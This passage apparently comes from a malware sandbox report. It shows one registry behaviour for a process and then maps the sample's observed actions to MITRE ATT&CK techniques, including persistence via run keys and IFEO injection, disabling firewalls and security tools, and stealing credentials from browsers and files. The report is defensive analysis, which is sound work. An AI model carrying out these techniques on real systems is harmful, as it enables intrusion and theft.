- Modifies data under HKEY_USERS
PID:5916

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Process Discovery

T1057

Query Registry

T1012

System Information Discovery